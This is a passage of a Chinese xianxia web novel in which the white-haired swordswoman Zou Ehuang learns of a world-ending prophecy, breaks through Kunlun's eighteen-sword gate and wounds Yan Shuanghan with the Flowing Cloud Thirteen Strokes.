他吐出了一口气,那双含笑的眼睛此时没半点亮光,暗沉地乜了一眼邹娥皇。 这一眼的意思很明显:道祖已经消气了,你可以进去了。 邹娥皇冲他拜了拜。 师兄,大恩大德,没齿难忘! 一场雨能下多久,一场雷又能打多久。 所以可以推类,一朵云,又能气多久。 最起码等邹娥皇走进去的时候,蓬莱道祖已经在慢悠悠地喝着今年上好的茶了。 “从密州回来了?” 道祖语气平淡,嗓子带了点沙哑,约莫着是之前骂容有衡骂的。 邹娥皇惴惴地低着头,小声道:“回来了。” “你还挺有能耐的,”蓬莱道祖将手上的茶杯在桌子上重重一扣,“素日里几年闷不出一个响屁,下山却次次都要惹点麻烦。” “上一次下山,你平大旱的时候我是怎么跟你说的?” 邹娥皇拢袖垂首,“徒儿忘了。” 她其实是记得的。 她上一次下山是二十年前,在妖族入侵之前,人间先爆发了一场三年的大旱。 当时她去人间其实不是为了那场大旱,或者说,这在凡人口中伏尸遍野的大旱,其实从没有在修真界掀起过什么风浪。 她只是偏巧碰上了。 在那场一个人的旅途里,她遇见了新的朋友,也遇见了机缘和宝物,只是历经九险,走到最后,归来仍是孑然。 因为朋友,走散了;而机缘* ,换雨了。 最后那一日,她同旁人打了架,到最后觉得口中什么味觉都没有,只有苦,苦的她想哭,苦的她累了,坐在干裂的地上,等着那场绵延的雨。 一闭上眼,就是同行者分道扬镳的背影,是扒着她手问是血还是水的娃娃,是面黄肌瘦的奶奶哭着问她为什么人要这么累,问为什么只有凡人要为大旱遭殃,问修士为何高高在上。 问她,如果这是天罚,为什么只针对手无寸铁,不敢与天争命的凡人。 那是邹娥皇几千年,脑海里第一次那么清晰地浮现过逃避的念头。 闭眼死了,也很好。 不用再回答那些个生了锈的问题,不用再看干涸的地、麻木的人。 但她最后还是没有死,背着一把剑只剩了一口气,在淅淅沥沥的雨如所愿般落到邹娥皇脸上的时候,她只剩下了一个念头,这把剑还没拔出来呢。 蓬莱道祖最后在岛口找到她的时候,大约是气急了,拎着她的后衣领,一路拖了回去。 还记得那日这老者语气平淡,只说了一句:“随你们平时怎么闹,只有一点记好,我还不想白发人送黑发人。” 只是世事素来无常,在这句话不久后,邹娥皇是安分了,她的师兄容有衡,却“死”在了妖王手下,将这句白发人送黑发人,践行了个真 三声冷笑自蓬莱道祖口中哼出,打断了邹娥皇的回忆。 蓬莱道祖:“忘了?我看你们一个个是当真没忘,故意跟我唱反调呢。” “我说不要白发人送黑发人,那小子就故意假死;你现在又换了一头白发,怎么的,看你师父我是黑发,想送走我啊?” 道祖说完这句话后,又吐了口长气:“伸手!” 邹娥皇摇了摇头。 她往后退了一步。 “不伸手?不伸手你就当你师父看不出你还有几年好活了?” 蓬莱道祖哼哼笑了,“隔壁的那个天人五衰的天机子你知道吧,头发还没白成你这样,却已经不剩十年了” 邹娥皇闭眼,小声道:“师父,我还能活,你知道吧,我生了剑脉,能修练。” “你还能活?”道祖哈哈大笑,语气微凉:“你当然还能活,区别就是活几年而已。” “邹娥皇,为师只问你一件事,还有没有三年寿命。” 邹娥皇眨了眨眼睫,她不敢看道祖,只摩擦着手里的剑柄,低声道:“吃个续命丹,应该没什么大事。” “那就是连三年都没有咯——” 蓬莱道祖这次是真被气笑了,“邹娥皇,你还记得你是个人,不是个神么?” “你怎么比话本上那些个神仙还要没人性呢?” 人性,不该是利己,自私么,这绝非贬义词,恰恰相反,是保护自己的一种褒义词。 这丫头,怎么就这么“没人性”呢? 邹娥皇闭眼,认命地由道祖把唾沫星子喷她脸上。 然后才低声道:“师父,徒儿不会死的。” 这句话换谁说其实只是个安慰罢了,但偏偏轻声说的人是邹娥皇,她的每句话,都未曾失信过。 哪怕不可能的事,只要她说出口,她就一定会办到。 蓬莱道祖看着她,居高临下地看了半响,视线慢慢地变软了。 这是个好孩子,他知道的。 他一直知道的。 云无心忽然觉得自己将要说话的话对邹娥皇特残忍。 衬得他特别不像一朵好云。 “你不会死,”可他只能这么跟她道,“你想死也死不成了现在。” 什么意思? 邹娥皇懵了,睁大了瞳孔,慢慢地抬起了头。 道祖呼出了一口长气,慢慢地从椅子上站起身来,温热的午光刺透木窗,照亮了他的整张脸,只有一双眼睛是带雾的灰。 “意思就是,”云无心缓缓道。 “十五年之后要开启的幻海天秘境,即将为了你在几日后打开。” “那里面有丹王遗留的九转丹,可以用来续命。” 低沉的声音清晰异常,然而邹娥皇却只疑心自己听错了。 幻海天秘境,她当然不会陌生。 昔年,她便是在这座秘境里取了不死神木。 只是幻海天秘境可以说是整个修真界的共同财产,非蓬莱的私家后花园,每百年一开,各大门派名额均有限度,从没有为了个人提前开过的先例。 怎么会为了她。 邹娥皇直觉这件事情背后还有个大坑,修真界从没有无缘无故的馅饼,之前的星盘就是最好的例子。 似乎是察觉到了她狐疑的视线,蓬莱道祖别过了脸,艰难道:“当然,你也可以不去。” “邹娥皇,本座希望你去;但是作为师父,我偏生又见不得你去。” 云无心想,如果他还是当初那朵未开化的鸿云就好了,这样他何必管这些的人间事,何必把自己的徒弟逼上另一条绝路,他何必干着夜自咎的活。 “此世将乱,你可知?” 那日匆忙在蓬莱召开的论道台上,终究还是语焉不详,诸多内情不过只能修饰着说。 比如众大能均知道这天下将乱,但是他们均不知,到底是为什么蓬莱道祖与宴霜寒如何笃定天下将乱,也不知他们两人说的命数究竟为何。 “天地之伊始,有了一支笔,名唤帝王须。而有笔就会有书,所以降世书相伴而生,而降世书上,只预言了一场毁灭。” “几千年前,气运打散,这是毁灭开始的标志;一百年前,神兽身死,这是第二次的警示;二十年前,妖族入侵,于是人人忘了那场毫无预兆的大旱,但是按照之前降世天书上的内容,大旱之后的下一灾,就是灭世。” “历历代代的生灵,人或妖,总有记得那降世书的,记得的人,就会想要去力挽狂澜。” 降世天书是修真界传说中的灵宝。 邹娥皇只听过一次两次,从没想过这东西居然是真的存在的。 更没有想过,这东西居然还能和自己扯上关系。 蓬莱道祖俯视她,从这个角度能清晰地看见姑娘斑白的长发,他声音于是放得很低,“很久之前有位大能散修,自称裁决者,这老者的一辈子都在等这一场浩劫,然而一辈子都没等到,据说最后是在密州收了个徒弟,也不知所踪,只给这个世界上留下了一句话,说到灭世之前,会有一把剑横空出世救世。” “此世鲜少人知。算到如今,只有昆仑和蓬莱还略知详情。” “天骄宴上,你败于宴霜寒手下时,夜自咎见过了你的剑。” “他当时大惊,同我打了个赌,他说那应诏而来救世的剑,是你背后背的这把。” “而我赌的是,救世的那把剑,是他徒弟宴霜寒的。” “现在,”道祖道,“你拔出了剑,而宴霜寒也炼化了死海,我和夜自咎的赌局,才刚刚开始。” 他声音微顿,清晰地看见邹娥皇后退了一步。 邹娥皇说:“道祖,可不可以不是我。” 她低声道:“我担不起的。” 二十年前救了人间一场大旱的姑娘,担不起那句句仙人的称赞,也看不了哀鸿遍野的民间,甚至都受不了郑力的一跪。 从头到尾,哪怕邹娥皇穿书了,她也从没想过,有一天要让她去干主角的活。 她心里有一万种念头呼啸而过,在一个瞬间她都想告诉道祖这只是一本既定轨迹的书,有命定的英雄。 她好害怕。 如果这事只和她有关,其实搞得怎样砸都无所谓,可如果这背后是千丝万缕,邹娥皇只觉得手上的剑都变得迟钝了。 好像二十年前的大雨还在下,好像那日口里其实不是苦味而是铁锈。 就在这个时候,邹娥皇听见背后的剑嗡嗡作响。 第50章 我是来还剑的 蓬莱道祖重新坐回了椅子上, 这个时候他如同吃了一颗定心丸。 倒不是为了和夜自咎那个什么赌局不赌局的。 只是救世,名头听着响亮,难道就真是什么好事不成, 左右不过九死一生罢了。 如果邹娥皇自己不愿意,那谁说的了她错了。 反正还有个宴霜寒在前面顶着么 道祖云无心这样一想,心情就又愉悦起来了。 要想活得久吧,就不能太好面儿。 他抿了口温热的茶, 脸色一转刚刚的凝重,语调也带了点松然的笑意:“这样也好,从现在起, 你便闭关三年, 至于什么续命的灵丹妙药,蓬莱又不是没有,短续个十年八年是没问题的, 等到十五年后幻海天秘境开了, 叫他们给你带回来九转丹也是一样的。” “天机子今日来了,说要见你, 本座估摸着也就是为了这些破烂事。” 邹娥皇这才仰起脸。 她问:“道祖, 天机子在哪里?” 邹娥皇很久没见到过天机子了。 上一次还是几千年前的天骄宴上,对方亲眼见着她被宴霜寒打的剑心破碎,灰头土脸地地落荒而逃。 ——而邹娥皇十分确定以及肯定,自己在最后落荒而逃的时刻,绝对听见了天机子无情的嘲笑声。 因为那场天骄宴上大部分人都是修真界有头有脸的人物, 哪怕笑也是捂着嘴含蓄地微笑,只有天机子一个人发出了耳熟的鸭子笑声。 得意洋洋的。 招人恨得牙痒痒。 两人还在幻海天秘境里同行的时候, 这人就曾惆怅地对她叹气,说他有个师兄使得一把好剑, 因为这个原因他一度对剑都怯场了。 那时候她还不知道,天机子在昆仑的辈分等同于她在蓬莱的辈分,所谓的那一个师兄,再没别人了。 只有宴霜寒。 邹娥皇当时嗤笑一声,擦着自己的黑剑道:“什么好剑,我去试试。” 天机子闻言捧着肚子笑,“你该庆幸你没这个机会,我师兄从不轻易出手,不然你这般嚣张,又是三脚猫的功夫,在他手下,剑心破裂也是迟早。” 这句话说的实在欠揍。 而天骄宴后天机子那笑又着实太幸灾乐祸。 以至于现在邹娥皇想起这个人,第一反应不是旧情,便是手心痒痒。 特想抽他 蓬莱道祖:“他现在就在待客楼,你可以去看看。” “怎的给他用上了待客楼,”邹娥皇咋舌。 待客楼是蓬莱顶上夕云楼的别称,夕云楼是蓬莱岛唯一一个能看见完整日出日落的地方,一日之中,日初之际和月上之时都有巨大的灵力波动,适宜修炼。 但平日里严禁旁人进出,只做待客之用。 上一次接待的人还是他们昆仑的老祖夜自咎,现在就变成了天机子。 要知道前日里那场有关密州封锁的大会,宴霜寒、尹月、越海几乎除了佛子渡情、老祖夜自咎之外的大乘齐列一堂的时候,这夕云楼也仍只是空着的。 邹娥皇纳闷,她想天机子是哪根葱。 怎么还住上夕云楼了。 等她从道祖的住处出来,沿着山路向上走,最后停在夕云楼前,推门走进去的那刻—— 竟还真见到了一根葱。 那是一个皱褶如橘子皮一样耷拉在脸上的老者,身穿水绿色的长衫,双手拢在袖子里,腰间空荡荡地只配了把剑鞘,头发是黑白掺色的,就像是一颗葱的根。 邹娥皇与这老者面面相觑。 “天机子?” 她迟疑道。 在那一瞬间,邹娥皇脑海里有关岁月一共想起了两句话,一句是:岁月不饶人,还有一句是:岁月是把杀猪刀。 她还记得十七八岁时候看见的天机子是什么样。 那个时候没人会管天机子叫天机子,就像是没人会管剑皇叫剑皇,因为他们都还年轻,年轻到还没来的及崭露头角。 天机子姓赵。 他曾经少时慕色,干过几件千金撒酒楼的风流韵事,常常被人唤作赵郎。 那个时候这赵郎还脸覆薄粉,眉画弯钩。邹娥皇第一次见他的时候,就是在秘境里被那一声戏腔的嗓子勾过去的。 总之,貌若好女。 但是现在,那张浓妆艳抹的脸,变成了一坨皱巴巴的橘子皮。 “哎。” 这橘子皮的老者果真应了声,他笑眯眯地抬起眼。 “邹娥皇,这么多年不见,别来无恙啊。我听何九州说,你不仅救了他,还有着比肩宴霜寒的一剑之力?” 邹娥皇面不改色:“你听差了。” 她顿了顿,视线停在天机子腰间空荡荡的剑鞘那里,终于还是忍不住开口问道:“你怎么会把本命剑给别人?” 剑修的本命剑,从不轻易允人,哪怕是师徒也一样。 只有一种情况是例外,那便是临终之际。 哪怕之前邹娥皇已经听过诸多人说天机子天人五衰,哪怕连道祖都亲口同她道天机子的阳寿不过十余年,哪怕她已经见到了年轻的何九州握住了故人的西吹雪 她也直到此刻、此时,看着天机子腰间空荡荡的剑鞘,心里才突突地抽动。 她想问的不是为何把剑给别人,而是—— 你当真活不久了么。 天机子微微笑,满脸褶皱松开,小眼睛里透过一丝精光,“想给就给了,要什么原因;你见过那个孩子了,怎么样,是不是跟我年轻的时候一样帅。” 邹娥皇翻了个白眼,她没说话,在天机子对面坐下了。 夕云楼里没有点灯,只有蔓延爬至屋内的半束光渡在天机子空荡荡的剑鞘上。 邹娥皇觉得看的眼睛疼。 但她转开视线,落在对方的老脸上,又觉得眼睛更疼了。 “明人不说暗话。” 她想了想,终于是直接开口道:“天机子,你为了宴霜寒来找我的是不是?” 天机子大惊,狐疑道:“这你都知道?” 他盯着邹娥皇,百思不得其解,心里暗暗想,果然是不是一家人不进一家门。 之前天机子还疑惑过,那个传闻里风情万种的阁主尹月,怎么会有邹娥皇这样不解风情的朋友,但是今天邹娥皇居然在他没开口之前就猜出了宴霜寒对她怀有一些不纯洁的关注是了,他正是为了这几千年的一桩旧事来求个了断的。 他师兄眼看着就要应降世书为天下牺牲了,总不能再留一件抱憾终身的事吧。 很好,他彻底对邹娥皇刮目相看了。 谁料却只听她说。 “道祖在我见你之前,已经和我说了昔年他同昆仑老祖打的赌约了。请你告诉宴霜寒放心,我无意和他争论这救世的名声,他的对手也绝非是我是那个圣人何言知。” 邹娥皇本来想说主角方半子的名字,结果一想到那个现在还在留着鼻涕泡的小奶孩,最后只能欲言又止,把锅推到了何言知身上。 “他早年也有一把剑,你大约听过,清君之剑。何况他这次又死而复生,身上听闻还带有什么莲花印记,”邹娥皇越说越顺畅,面色逐渐地认真了起来:“你们要找的救世主就是他,如果宴霜寒要争,同他打一架分个胜负也就罢了。” 她话音落下,却见对面天机子的神情慢慢从震惊变成了无语,又小声嘟哝了句“原来说的是这个。” 该怎么说呢夜自咎虽然是昆仑老祖,虽然和蓬莱道祖压的那盘赌局里,压的是邹娥皇的剑应救世而生,但他这个老祖吧,在昆仑其实有点像摆件,说话可听可不听的那种。 天机子压根就没相信过,邹娥皇的剑能和他师兄争锋,自然也不会为了这件事而来。 “你说什么,大点声。” 天机子:“没什么。” 他咳了一声,眼珠子微转,计上心来。 “邹娥皇,你不会是还怕宴霜寒的剑吧。” 邹娥皇懒得理他:“激将法就算了,你知道的,我这个人一向不在乎脸皮。” 天机子:“你不在乎脸皮,我当然知道。” “但是我知道你,邹娥皇我真的知道你。十七岁那年我们同在一座秘境里,面对刁难的原秘境村民按照规则,大家都束手无策的时候,是你另辟蹊径,给了村民另一条路去走,于是最后得了那不死神木。” 天机子说:“你这样的人,比谁都胆小,但有时候比谁都会咬人。” “我不是想劝你当那个救世主,只是我不觉得,作为一个了解你的旧友,我不觉得,你会把主宰命运的剑让给别人来出,毕竟这剑,也有关你的命运。” “你是本世之人,此世将灭。我不信以你的性子,会把活的希望交托于一把握在别人手里的剑,哪怕那个人是宴霜寒,也不行。” 天机子说的是情真意切。 而邹娥皇听了半响。 耳边又传来了背后的剑嗡嗡作响声。 她其实没怎么听清对方说了什么,只听到了那么一句,“把活的希望交托于一把握在别人手里的剑” 她怕担责。 但她可能更怕的是,命不由己,和那群大旱里等雨,求神拜佛一年又一年的百姓们一样。 扪心自问,天机子说的,居然是对的。 邹娥皇盯着自己的脚尖,盯了很久。 久到天机子都疑心这时间停滞了,才听到她说:“我去。” “我去领教一下他的剑。” 这姑娘如是说道。 天机子大笑,连说了三声好:“那我在昆仑等你。” 邹娥皇疑惑地抬头看他:“你不跟我一起走么” 天机子扬了扬眉,笑而不语,浑身上下终于多了几分从前的影子。 只见这小老头伸出了一直拢在袖子里的手。 那昔年握着判官笔,保养得宜的两只手,此刻竟遍布了几道阴森恐怖的疤痕。 “你的手?”邹娥皇微微吃惊。 这些疤痕一看就和谢霖那种拿火烧的不一样,也不像是积年累月的器伤,更像是被某种力量吞噬的。 “看好啦——” 天机子笑眯眯地道,只见这羸弱的老者浑身上下忽然爆发出一种惊人的魄力,他双指成空做剪刀状,在这片空间里微微一剪,这原先还生机盎然的夕云楼就渡上了一层衰败之气。 周围的灵力在极速地被他吸收。 双手上,结了痂的疤痕再度一寸寸地裂开。 而他方才拿指做剪,竟真的开了一条空间的裂缝。 这是大乘才能触碰的空间裂缝,而天机子不过是合道之身—— 昔日说要踏破虚空的年轻画修,如今既没踏破虚空,也不再年轻,甚至已经很久都没碰过那支笔了。 他只剩下了一双因为碰到空间法则,而无力承担诅咒的残破身躯,在天人五衰里苟延残喘。 天地大道之无情,恰如此刻——你要触碰些什么不属于你的力量,那只能付出百倍的代价。 可是,又是谁定义的规则。 二十岁的天机子想,我偏不认命。 五千岁的天机子,依然这么想。 于是他以合道之身,触碰大乘空间法则,求仁得仁,天人五衰,有何惧乎。 雕梁画栋的夕云楼里,邹娥皇看着骤然空了一块的地方,撕裂空间的灵力波动还隐隐有余温。 她心里忽然有所触动,她想,连天机子这样的人,都肯和天争命,碰个头破血流也绝不放弃。 那她呢。 邹娥皇推开门,却看见屋檐下站了个姿容稀世的美人儿。 是李千斛。 李千斛端着一盘子的美酒佳肴,已经不知道在门外候多久了,此刻见到她出来,也只是笑了下,然后问。 “师姐,你要去哪里?” 李千斛站在三尺台阶上,她望向擦肩而过的邹娥皇轻轻道。 邹娥皇闻声摆了摆手,但并没有回头。 在寂静的山林里,她一人踽踽下山,在翠绿的青松里,她身上玄色的道袍被风吹得飒飒作响。 “去昆仑,找宴霜寒,打一架。” 她这样回李千斛。 …… 山间温低,李千斛站的无知无觉。 周身一片冷然,只剩她的鼻尖缓缓呼出的白气还是热的。 这个时候,她身后传来了一阵平缓的脚步声。 李千斛回头,她瞳眸褐色,里面映着突然出现的道祖。 “她现在改主意了么?” 云无心淡淡发问,他没有指名道姓。 但李千斛知道师尊问的是师姐。 李千斛叹了口气,“师姐说,她怕担不起,但又怕,宴霜寒的剑不行。” “所以便去了?” 李千斛点头,“所以便去了。” 邹娥皇不是夜无咎、宴霜寒那类的剑痴,觉得一生要找个势均力敌的对手比剑才算没白活。 但她最后还是被天机子牵着鼻子走了。 因为,她害怕担大事是真的,但她从不把自己的命运交在别人手上也是真的。 当害怕这个念头褪去的时候,她心里的另一种本能又会占据上风。 这种本能,叫勇气。 人就是这样的矛盾,自私者也会有无私的片刻,小人也会有君子的高尚,凉薄者可能喉咙里还有那一口未凉的热血。 懦弱者,也该有片刻的勇气。 而云无心活了万万年,自他还是朵未化形的云开始,他就在为人类这样的血性动容。 所以万物生灵里,他唯独对人钟爱三分。 …… “来者何人?” 死海怒浪涛涛,万丈红浪卷苦舟。 蓬莱难寻,昆仑难入。 这句话说的就是眼下这种情况。 面对着十八飞剑阵的关山绝招,没有请帖的客人若是要来硬闯,怕是不死也要脱层皮。 但和这十八把名剑相对的,守门的人只是一位拘着腰的老婆婆。 她满头银丝,面容比天机子还要衰老几分,周身境界不过才堪堪筑基。 让一个筑基的人,守一个门派的正门,这在不入流的小门派或许说的过去,但在昆仑,出现这种情况,不过也只有一种解释。 那就是这个老婆婆手里的剑,够强。 又或者说,作为守门之剑,哪怕是老祖夜自咎在这里,也绝不如其合适。 “邹娥皇。” 白发黑衣,女子脚尖悬浮于半空,呼啸的海浪打湿她的黑履。 风吹,天阴,几束冷光渗出云层落在邹娥皇脸上。 纤长的眼睫轻轻一颤,她的剑不知何时已出鞘。 此刻稳当当地落入她的手心。 邹娥皇持剑行礼:“见过阴山剑尊。” 二十年前这个名字,曾经在战场上声名赫赫,如果说妖族入侵之际,功劳最大的剑修是宴霜寒,那么杀妖最多的人,则是邹娥皇面前这个佝腰的老婆婆。 以筑基之身,一剑之下万妖枯骨。 按年龄来说,阴山剑尊算得上是邹娥皇的小辈;但是面对这样的剑者,以年龄论高下,实在是荒谬,于是邹娥皇行了剑礼。 而对方也还了她剑礼。 剑礼之后,便该是过招。 邹娥皇察觉到这方天地的另有小阵法正在压制着灵气的运转。 她眉心一跳。 阴山剑尊有十八把宝剑,这也就说明了她用剑的时候,绝对不是拿手把剑,而是用灵气操控。 但是就在这样压制的灵气波动下,这十八把宝剑仍然能熠熠生辉,足矣说明面前的老妇人是个高手,最起码在操控灵气精细度上,少有人出其左右。 只听得“噔噔噔”的三声响,宛如素手弹琴一般,三把闪着光的飞剑率先发出了悦耳的铮声,三道霞光交替一闪,寂静无波的死海被剑风卷起,朝着邹娥皇呼啸而来。 这三把剑在修真界赫赫有名,合在一起叫琴音。 传说发动之时千音过耳,无人能避。 邹娥皇没有动。 她脚尖依然悬浮在半空之中,只有握着剑的手一紧。 阴山剑尊眼皮一抬,恻恻地看了半响。 混浊的眼珠里爆发出逼人的精光。 身后剩下的十五把宝剑,又飞出了四把,这四把剑齐发,周身萦绕着一种淡淡的紫光—— 这四把剑,叫月来。 四剑齐出,月成其芒。 邹娥皇仍没有动。 她在等,等剩下的十一把剑。 当七把剑的光辉几乎都要逼近邹娥皇的鼻尖的时候,剩下的十一把剑终于迸发。 现在的这十一把剑,名日降。 十一把削铁如泥的宝剑,在空中不断旋转,如同怒放的菊花的花蕊,前面那七把即将逼近邹娥皇鼻尖的剑,此刻都不约而同地后退,组成了花的细叶; 激流之中,人眼几乎睁不开。 然后在这一刻,邹娥皇终于抽出了她身后的剑。 和阴山剑尊让人眼花缭乱,高速攻势的十八把剑不同,她抽黑剑的动作极平,极缓。 然而阴山剑尊的心却是咯噔地跳。 她自然不会对这样的剑招陌生,正是因为速度缓,所以才一眼认出这是老祖夜自咎开创的万剑归宗。 但正是因为阴山剑尊见过万剑归宗,她心里才有了极其不详的征兆。 万剑归宗,顾名思义,要一把剑演出千万剑的剑影,所以一定起手要快,落手一定要稳。 可是邹娥皇,她出剑的动作太缓了,好像生怕别人不知道这一剑是叫万剑归宗一样。 等等—— 阴山剑尊的瞳孔极速缩小,直到变成了黑黑的两点。 整个死海,都在震荡。 向来只臣服于宴霜寒手下的死海,正在为这一剑所用,海水掀起阵阵浪涛,极速的浪花无形中替代了密密麻麻的剑芒,正所谓因地制宜,不过也就是如此了。 能做到这样程度的人,不屑于借助死海的力;能想到这招的人,又往往没有这个实力。 但是阴山剑尊并没有收剑。 她双手用力一合,万丈高浪平地起,十八把剑齐发,更凛冽的杀招从这十八把剑里迸发。 剑,只有输,没有退一说。 这是一种尊重,对自己,也对别人。 “呼。” 剑与剑的碰撞,无声但萧瑟。 硝烟散去,阴山剑尊吐出了一口瘀血,她压着胸口,低声赞道:“好剑。” 在这位老嫂守门二十年以来,一共放过四人进昆仑。 前三人暂且不表,第四人是阁主尹月,众人眼里出了名的以至柔之法,克至刚之道者,破这十八剑阵,用的是成名诀,红绫细水。 而邹娥皇是第五人,只用了一剑,万剑归宗,惊涛卷细浪。 …… “你是来找我,比剑的?” 白阁子里,宴霜寒若有所思地抬起头,眸光略带半分寒意,穿过发丝的缝隙,落在了踏步走进来的女修身上。 很久没有人能通过那十八把剑阵了。 他也没有想过,这一次毫发无损闯过的人,竟然是她。 宴霜寒将手里的神华剑一弹。 一道黑漆漆的魔光与煞气绕在这美丽的剑身上。 “不,”邹娥皇轻声道:“我是来还剑的。” 昔年她见过了他惊才艳艳的一剑。 现在她想知道,自己能不能还一招同样的剑。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 流云十三诀 直到现在为止, 无论在闹市还是深山,提起宴霜寒这三个字,众人的第一反应永远都是“一剑霜寒十四洲”。 谁让他叫宴霜寒。 谁让他有这样的剑。 从拥有这个名字, 呱呱落地呼出第一口先天灵气起,就可以见得宴霜寒这个人,早已被定下了既定的那条人生轨道—— 即,要成为这天下剑道第一人。 就连现在他入魔, 也仍是计划里的一环。 可以这么说,宴霜寒从没有脱离他出生就固有的轨迹半分。 而在他漫长的人生里,唯一一次称得上是意外的一剑, 就是天骄宴上, 比心动还要快上片刻的剑动。 此刻,白阁子内。 宴霜寒低头看着邹娥皇,声音发僵, 但碍于他本人一直都是硬板板的死人脸, 这声音竟意外地匹配那张俊美的冷脸。 “你来还剑,还, 什么剑?” 邹娥皇叹了口气。 她就知道这些天才从来不记得自己的手下败将, 自己在宴霜寒那里不过也就是一阵刮过耳边的风,可能听起来有些耳熟,但是不痛不痒。 她挠了挠头。 “嗯就是呢,不知道你知不知道我,嗯, 很多年前,我是你手下败将——” 邹娥皇绞尽脑汁想介绍清楚自己, 却只听对面的宴霜寒微微颔首,道:“知道。” 他知道自己? 邹娥皇微微有些吃惊, 但很快反应过来了,别的不说,毕竟她辈分在那里摆着,自己的师父和他的师父是死对头,宴霜寒知道自己也算正常。 “呼,总之就是,作为你曾经的手下败将,我想看看我现在能不能超越过去的自己,”邹娥皇话音轻轻落下,但很快,她语气又郑重了起来:“而作为蓬莱道祖座下二弟子,我是为了救世之剑而来,也同样,要问一问你手上的这把神剑。” “利不利——” 话落,邹娥皇手上的剑就直接冲了过去。 和阴山剑尊比的时候,她选择了先行剑礼,可和宴霜寒比,这个修为境界远超如今的她的人,出其不意,才有再战的可能。 而邹娥皇所料不错,宴霜寒就如同刚刚的她,脚尖未动,头只是微微一侧,便躲过了她的剑。 “你是化神,我是大乘,你拿什么和我打?” 宴霜寒语气平平,但仍能听出那一丝的困惑。 这样的困惑,邹娥皇并不陌生,在她第一次遇见这个男人的时候,他就用同样的语气问过她:“你为什么要学剑?” 那个时候她说不出话来。 但现在,一剑不成,极大的后坐力让她身体往后一仰,就在剑即将脱手的刹那,邹娥皇脚步一错,借着那股力,在空中后翻落地。 这次她没松开握剑的手。 “我拿我手里的剑。” 宴霜寒听见这姑娘这样回答他。 有意思。 “每个和我打的人,手里都有称手的兵器。” 言外之意他便是说,邹娥皇这个回答,什么也不是。 “宴霜寒,”邹娥皇笑了。 她的短甲刮住厚厚的剑身,凭空起了一阵气浪,吹起玄色的道袍。 “你不信么?” “我赌我能在三招之内伤到你。” 话落,邹娥皇的身影就消失在原地,宴霜寒面前出现了无数道重影。但他轻轻哂笑,并不以为意,抱着臂,然后突然回头于半空中一指。 砰地一声,半米外的高空里,消失不见的邹娥皇在地上滚了半圈,吐出了一口瘀血。 还有半颗牙。 宴霜寒比越海强,邹娥皇事先就想过的,但是她没料到,大乘和大乘之间,差别居然有这么多,之前她能斩下越海半臂,有尹月已经消耗了对方体力的部分原因,但也有她的剑能破开对方体外罡气的原因。 而刚刚,她的无影无踪剑诀,看似是被宴霜寒一指弹了出来,其* 实是因为力道刚刚破开对方的罡气,就被宴霜寒发现了方位。 怎么办怎么办 有了。 与此同时,宴霜寒低头俯瞰着邹娥皇,他想,是比之前强,但也没有强到哪里去,或许自己该让一让她。 但是下一秒,他呼吸顿住了。 浅瞳微晃,如月般澄澈的瞳孔里只映出了一柄黑色的铁剑。 直愣愣的,和它的主人一样。 刚刚还被他打的很是狼狈姑娘已经站了起来,而这一剑光芒大盛,刺破了他引以为傲的罡气,隐隐还要有长驱直入之势。 宴霜寒终于提剑去挡,他神色变得认真起来。两人开始一来一回,而邹娥皇握着手里的剑,始终没有发出第三招。 直到,宴霜寒手上的神华剑光芒大涨,眼见得也是杀出了火气,即将一剑斩在邹娥皇半臂的当口,她终于用出了那一剑。 ——就在两人一来一回之前,她跌在地上,脑子里飞速转了片刻,只想出一个主意。 既然她的剑锋只能破开宴霜寒的罡气,无法再推进,那不如就等他出剑的片刻没有罡气的时候,她同他同一时间出剑。 皆时,就是真的硬碰硬,看看谁的剑利了。 “这一招,阁下必然还记得。” 姑娘的话轻轻落在宴霜寒耳畔,带着细微的笑意与自豪。 “流云十三诀的最后一式,直上云霄。” 她琢磨这剑诀很久了,就连先前论道大典上,何九州见她双指模拟的,其实也是这一诀。 很多年前,她就是被宴霜寒的这一剑折了剑心,很多年后,她该还他的,也自然该是这样的一剑。 怎么会。 宴霜寒怔愣回头却见三根碎发擦过他的耳尖,缓缓飘落在地上。 这只是三根碎发。 而白发齐根断掉的位置,那张瓷白的冷脸上擦出了一道触目惊心的伤口。 是剑痕。 …… 哐当地一声响。 曲轻云持双剑的两手一松,额前有薄汗粘湿了几缕黑发,眼前那个识别了他身份灵牌木桩,比半柱香前又多了几道剑痕。 他轻轻呼出了一串长气。 之前的密州一行,任务虽然完成了,还牵出了其他的事情,最后也称得上是一句硕果累累。可毕竟死了四位同门,历经这么一遭变故,那些去前还不稳重一个比一个跳脱的师弟们,如今各个变了,连练功场上的人,都比之前肉眼可见地多了几倍。 而他一回来便是直奔这里练剑。 只有在大汗淋漓,累到什么都不愿意再想的时候,曲轻云一闭眼才不会是那声声求救的师兄,只有这个时候,他才觉得心是轻松的。 粒粒的汗珠划过他的眼睫,曲轻云眼风一扫四周,却发现练功场上除了他之外的人都在抬头看天。 看天,天有什么好看的? 如果说别的地方还需要抬头看看天气,放松心神的话,在昆仑这就是一件极其不能理解的事情了。 平时受死海魔气的影响,昆仑顶头上的天,永远都是血红色的,带了点让人心悸的不详,别说是夜观天象了,就算想放松一下大脑,抬头看天也是自己没罪找罪受。 “你们在看什么?” 曲轻云问痴痴仰头的七师弟。 七师弟回他说:“师兄你抬头看——” 小剑修带着震撼的口吻,指着顶头上的天,对着他师兄道:“变天了,咱这居然变天了,难道是老祖闭关出来了么——” 曲轻云顺着望过去,瞳孔极速骤缩。 只见天幕连绵不断的阴云,翻滚喷涌的暗雷,此刻都消失不见。 仰头所望,入目唯剩下了万里白云。 柔软如棉花一样、透明如魂体一般的白云,聚集成了一片云海,遮挡住了极具压迫性的血色。 但曲轻云看的不是这个。 他看的是剑。 这样磅礴的气象,绝非无故形成,而是由一剑牵引而来。 “流云十三诀,”他喃喃道:“居然是这一招。” 流云十三诀由昆仑老祖夜自咎所创,是昆仑基础入门剑诀,哪怕在昆仑,也有很多人忽略了这基础款剑诀。 但是曲轻云当昆仑大师兄的第一日,负责剑课的掌教就告诉他,什么都可以不学,唯有这流云十三诀必须要会。 所以对曲轻云来说,这确实是他最熟悉的剑法。熟悉到他一看这云海排列的形状,就知道用剑人花了几分气力,寻了什么角度。 “什么人挥出了这样的一剑——” 他喃喃开口,脑海里第一瞬间蹦出的是邹娥皇,那个跳跃的火球。但很快他又哑然失笑,暗想,这是昆仑,又不是蓬莱。 瞧瞧云海的方向,大约是宴霜寒挥出的吧。 如果是这个男人,那也算正常。 …… 宴霜寒知道。 自己是败了。 